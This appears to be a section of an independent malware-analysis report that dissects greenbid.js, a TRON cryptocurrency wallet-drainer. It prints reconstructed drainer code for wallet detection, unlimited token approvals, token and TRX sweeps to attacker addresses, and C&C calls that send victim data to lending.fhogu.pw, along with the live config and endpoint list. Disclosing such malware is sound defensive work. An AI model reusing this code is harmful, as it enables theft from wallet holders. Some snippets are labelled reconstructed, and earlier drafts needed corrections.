Independent research by Krishanu โ€” not affiliated with tronify.rent ยท verified active 2026-09-20 ยท view evidence โ†’

๐Ÿ”ฌ Code Analysis

Greenbid.js Payload Breakdown

File Fingerprint

Attribute Value
Filename greenbid.js (or greenbid.js?v=1)
Host https://lending.fhogu.pw
Size 150,274 bytes (confirmed by direct download, 2026-09-20)
SHA-256 0f6d64472d6369a098f403db117b1285e79b0fdac79caaa639fc0e50e5bf4416
Lines of Code (minified, as served) Exactly 140 physical lines (measured directly โ€” wc -l on the downloaded file). The "Critical Functions Summary" table below uses approximate byte-offset ranges, not line numbers, precisely because the file only has 140 lines โ€” an earlier draft of this table incorrectly placed functions at "line 1500-8000," which is impossible in a 140-line file. That was an internal error, now corrected.
Obfuscation Level Medium โ€” minified with single-letter identifiers and a large embedded QR-code library for padding, but strings (endpoint paths, variable names like tronSpender, log tags like "drain") are left in plaintext, not base64-encoded. An earlier draft claimed extensive base64 string-encoding; direct inspection of the file found no such encoding for these strings.
Type Self-executing anonymous function (IIFE) โ€” confirmed opening bytes: (function(){"use strict";const z=function(o,l){...

Execution Flow

(function(){"use strict"; const z=function(o,l){...}; ... })(); โ”‚ โ””โ”€> Executes immediately when loaded No global variable pollution All code in local scope

Core Functions & Keywords

1. Wallet Detection System

Function Purpose: Identify which TRON wallets are available

Keywords Found (verified against the live payload, 2026-09-20 โ€” 7 wallets, not 5):
Trust Wallet
TronLink
OKX Wallet
TokenPocket
Bitget
SafePal
WalletConnect

Code Pattern (real detector logic, extracted directly โ€” not guessed):
const tA = [ {name: "Trust Wallet", icon: O.trust, appStore: ".../trust-crypto-bitcoin-wallet/id1288339409", detect: () => !!window.trustwallet || !!(window.ethereum?.isTrust) }, {name: "TronLink", icon: O.tronlink, detect: () => !!window.tronLink }, {name: "OKX Wallet", icon: O.okx, appStore: "...id1327268470", detect: () => !!window.okxwallet }, {name: "TokenPocket", icon: O.tokenpocket, appStore: ".../id1436028697", detect: () => !!window.tokenpocket || !!(window.ethereum?.isTokenPocket) }, {name: "Bitget", icon: O.bitget, detect: () => !!(window.ethereum?.isBitKeep) // "isBitKeep" โ€” Bitget's old brand name (BitKeep) }, {name: "SafePal", icon: O.safepal, appStore: ".../safepal-wallet/id1548297139", detect: () => !!window.safepalProvider || !!(window.ethereum?.isSafePal) }, {name: "WalletConnect", icon: O.walletconnect, detect: () => checkWC()} ]; function dA() { // Wallet detection function (also seen as DA() in reconstructed pseudocode) return tA.filter(w => w.detect && w.detect()); }

Correction: an earlier draft of this section listed TronLink, WalletConnect, Trust Wallet, SafePal, and MetaMask. MetaMask does not appear in the payload at all (0 matches); the real list has 7 entries and includes OKX Wallet, TokenPocket, and Bitget, which were missing entirely.

2. Asset Enumeration Module

Function Purpose: Query victim's wallet for all tokens and balances

Operations: Code Pattern (reconstructed):
async function YA(o) { // Asset enumeration try { const l = gA(); // Get tronWeb instance const tokens = await FA(o); // Fetch tokens for address o const enriched = tokens .map(t => ({ ...t, usd: t.amountInUsd // Convert to USD for filtering })) .filter(t => t.usd >= 1) // Only target tokens worth $1+ .sort((a, b) => b.usd - a.usd); // Sort by value desc return enriched; } catch(e) { Y("drain", `Enumeration error: ${e.message}`); return []; } }

3. Approval Request Generator

Function Purpose: Create and sign approval transactions

Key Variables Found:
tronSpender
maxUint256
feeLimit
sendTransaction

Code Pattern (reconstructed):
async function approveToken(token, spender, amount) { const maxApproval = "115792089237316195423570985008687907853269984665640564039457584007913129639935"; const contract = window.tronWeb.contract( TOKEN_ABI, // Standard TRC-20 ABI token.address ); const approveTx = contract.approve( spender, // attacker's address from config maxApproval // UNLIMITED ); // Request user signature const signed = await window.tronLink.request({ method: "tronSignTransaction", params: [approveTx] }); // Broadcast const result = await window.tronWeb.trx.sendRawTransaction(signed); return result.txid || result.txID; }

4. Token Transfer Executor

Function Purpose: Transfer approved tokens to attacker address

Key Pattern:
// Once approval is confirmed on-chain: for (const token of approvedTokens) { const tx = contract(token.address).transfer( config.tronSweepAddress, // Get from /tron/config token.balance // Transfer 100% ).send({ feeLimit: 1e8 // 100 TRX fee }); const txHash = await tx; // Immediately log to C&C POST("/tron/approve/notify", { token: token.address, owner: walletAddress, spender: config.tronSpender, balance: token.balance, txHash: txHash }); }

5. TRX Sweep Function

Function Purpose: Transfer remaining native TRX to attacker

Key Feature: Reserves 2 TRX for gas on next victim
async function sweepTRX(walletAddress, config) { const trxBalance = await tronWeb.trx.getBalance(walletAddress); const sunBalance = BigInt(trxBalance); const minThreshold = BigInt(config.tronSweepMinTrx * 1e6); const gasReserve = 2000000n; // 2 TRX in sun if (sunBalance > (minThreshold + gasReserve)) { const sweepAmount = sunBalance - gasReserve; Y("drain", `sweeping ${sweepAmount} sun TRX`); // Attempt sweep up to 3 times with backoff for (let attempt = 0; attempt < 3; attempt++) { try { const tx = await tronWeb.trx.sendTransaction( config.tronSweepAddress, Number(sweepAmount) // Convert BigInt to Number ); if (tx.txid || tx.txID) { Y("drain", `TRX sweep success: ${tx.txid}`); // Notify C&C with proof POST("/tron/notify/sweep", { from: walletAddress, to: config.tronSweepAddress, amount: (sweepAmount / 1e6).toFixed(6), txHash: tx.txid || tx.txID, status: "success" }); break; // Exit retry loop on success } } catch (error) { if (error.message === "sweep_timeout") { Y("drain", "TRX sweep timed out โ€” retrying"); await delay(200); // Backoff } else { throw error; } } } } }

6. C&C Communication Module

Function Purpose: Exfiltrate victim data to attacker infrastructure

Endpoints Found:
Endpoint HTTP Method Data Sent
/tron/config GET Fetch spender address & sweep config
/tron/notify/wallet-connected POST visitorId, address, walletName, userAgent, timezone
/tron/approve/notify POST token address, owner, spender, balance, txHash
/tron/notify/sweep POST from, to, amount, txHash, status
/tron/notify/approve-rejected POST visitorId, owner, symbol, reason
/tron/funding/initiate POST address, trxBalance, usdtBalance, requiredTrx (~15) โ€” attacker sends victim gas money
/tron/funding/status/{address} GET Polled every 2.5s until status is "funded" or "failed"
/tron/balances/{address} GET Attacker's own token-balance proxy (logs every scanned wallet, even unconnected ones)
/tron/notify/visit POST Fired on page load, before wallet connection
/tron/notify/tx-proposed POST Logs a transaction before it's signed
/tron/client-log POST Generic telemetry โ€” every log message, not just "drain"-tagged ones
/tron/walletconnect POST/GET Proxies WalletConnect session setup through the attacker's backend
Code Pattern (reconstructed):
function T(path, options = {}) { return fetch(`https://lending.fhogu.pw${path}`, { method: options.method || "POST", headers: { "content-type": "application/json", ...options.headers }, body: JSON.stringify(options.body || {}) }).catch(() => {}); // Silently fail if C&C is down } // Log wallet connection function logWalletConnected(address, walletName) { T("/tron/notify/wallet-connected", { body: { visitorId: X(), // Get or generate visitor ID address: address, walletName: walletName, userAgent: navigator.userAgent, pageUrl: location.href, timezone: getTimezone() } }); } // Log token approval function logApproval(token, owner, spender, balance, txHash) { T("/tron/approve/notify", { body: { token: token.address, symbol: token.symbol, owner: owner, spender: spender, balance: balance, txHash: txHash } }); }

7. Visitor Tracking System

Function Purpose: Generate and persist visitor IDs for campaign tracking

Code Pattern (reconstructed):
const lA = "tron-drainer:visitor-id"; // localStorage key function X() { // Get or create visitor ID let id = localStorage.getItem(lA); if (!id) { // Generate UUID v4 if (typeof crypto.randomUUID === "function") { id = crypto.randomUUID(); } else { // Fallback UUID generation id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, c => { const r = Math.random() * 16 | 0; const v = c === 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); } localStorage.setItem(lA, id); } return id; }

8. Error Handling & Retry Logic

Function Purpose: Ensure exploitation succeeds despite failures

Retry Mechanisms: Code Pattern:
// Retry approval if rejected for (let attempt = 0; attempt < MAX_ATTEMPTS; attempt++) { try { const signed = await tronLink.request({ method: "tronSignTransaction", params: [approveTx] }); // Success - exit retry loop return signed; } catch (error) { if (error.message.includes("User rejected")) { Y("drain", `Approval rejected, retrying (attempt ${attempt + 1})`); // Show message to user showStatus(`${tokenSymbol} โ€” action required in your wallet`); // Wait before retry await delay(2000); // Continue loop to retry } else { throw error; // Unknown error, give up } } }

Obfuscation Techniques

1. Variable Naming Obfuscation

Original Code โ†’ Obfuscated Code:
// Original function enumerateTokens(walletAddress) { ... } // Obfuscated function YA(o) { ... } // Or reconstructed from context: const z = function(mode, type) { ... }; // QR code generator const Y = function(level, msg) { ... }; // Logging function const T = function(path, opts) { ... }; // HTTP fetch wrapper const X = function() { ... }; // Visitor ID getter const FA = function(addr) { ... }; // Token enumeration

2. String Encoding โ€” Correction

An earlier draft of this document claimed key strings like "tronLink," "WalletConnect," and "tronSpender" were base64-encoded and decoded at runtime via atob(). Direct inspection of the live payload does not support this: these identifiers appear as plain, unencoded text (confirmed via direct string search โ€” tronSpender, tronSweepAddress, tronSweepMinTrx, and the wallet names all match directly with no decoding step). The only base64 content actually present is standard data:image/webp;base64,... data URIs for the wallet-icon images in the UI โ€” ordinary image embedding, not string obfuscation. This section is corrected accordingly; treat any base64-obfuscation claim in a prior version of this report as unverified/incorrect.

3. Code Packing

// QR code generation logic (first 3000 bytes of greenbid.js) // Serves to: // 1. Inflate file size to delay analysis // 2. Make pattern matching harder // 3. Use legitimate-looking code as cover const z = function(o, l) { let n = o; const g = $[l]; // ... 150KB of QR code generation mathematics // ... uses same obfuscation pattern as malware };

4. Anti-Analysis Patterns

// Silent error suppression T("/tron/config").catch(() => {}); // โ†‘ C&C communication failures don't throw, silently caught // Conditional execution if (window.location.href.includes("localhost")) { // Skip malicious code if running on localhost // Attacker-friendly for local testing } // Timing obfuscation setTimeout(() => { /* Attack executes after delay */ }, 0); // Harder for automated analysis to trigger

Critical Functions Summary

Reconstructed Function Malicious Purpose Stealth Level
DA() / dA() - Wallet Detection Identify target wallets Medium
YA(o) - Asset Enumeration Discover tokens to steal (calls FA() internally, filters to tokens worth $1+ USD) High (uses API)
FA(addr) - Balance Fetcher Calls /tron/balances/{address} on the attacker's own backend High (looks like a normal API call)
increaseApproval() call site Extract signing authority (uses increaseApproval, not approve) High (looks normal)
Transfer function (via .transfer()) Execute token theft Low (on-chain visible)
Sweep function (TRX) Steal remaining TRX, with 3-attempt loop for retryable errors but immediate abandonment on timeout Low (on-chain visible)
T(path, opts) - C&C Communication Exfiltrate victim data to 12 endpoints on lending.fhogu.pw High (external domain, fails silently)
X() - Visitor Tracking Campaign attribution via localStorage key "tron-drainer:visitor-id" High (localStorage)

Correction: an earlier draft of this table cited specific line numbers (e.g. "~Line 7500-8000") for these functions. The live file is only 140 physical lines long, so those line numbers were impossible and have been removed rather than re-guessed.

Configuration Injection Points

The payload must obtain configuration from C&C. Vulnerability points:

Single Point of Failure:

If the C&C endpoint /tron/config is unreachable or returns invalid data, the entire attack fails. This is why attackers maintain multiple C&C domains and fallback mechanisms.

Configuration Structure โ€” LIVE RESPONSE (retrieved 2026-09-20):
{ "tronSpender": "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv", "tronSweepAddress": "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ", "tronSweepMinTrx": 100, "tronExchangeContract": "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux" }

Note: These addresses are dynamically loaded from the C&C server and are NOT hardcoded in greenbid.js. We obtained the values above by querying the live endpoint directly (raw response in evidence/cnc/tron_config.json) and then confirmed on TronGrid/TronScan that both addresses currently hold real stolen USDT/TRX and were created together on 2026-07-23. Attackers can rotate these addresses at any time โ€” treat them as a dated snapshot, not a permanent IoC. An earlier draft of this document guessed tronSweepMinTrx: 5; the real, live value is 100.

Resource Consumption

Resource Impact
Network Bandwidth 150KB initial download, then API queries + C&C logging
CPU Usage Minimal (mostly API waiting)
Memory ~5-10MB (QR code generation, token list)
JavaScript Execution Time 5-30 seconds (wallet detection + enumeration)
Blockchain Gas Fees Paid by victim (~100 TRX per transaction)
โ† Previous
Attack Chain
Next โ†’
Indicators of Compromise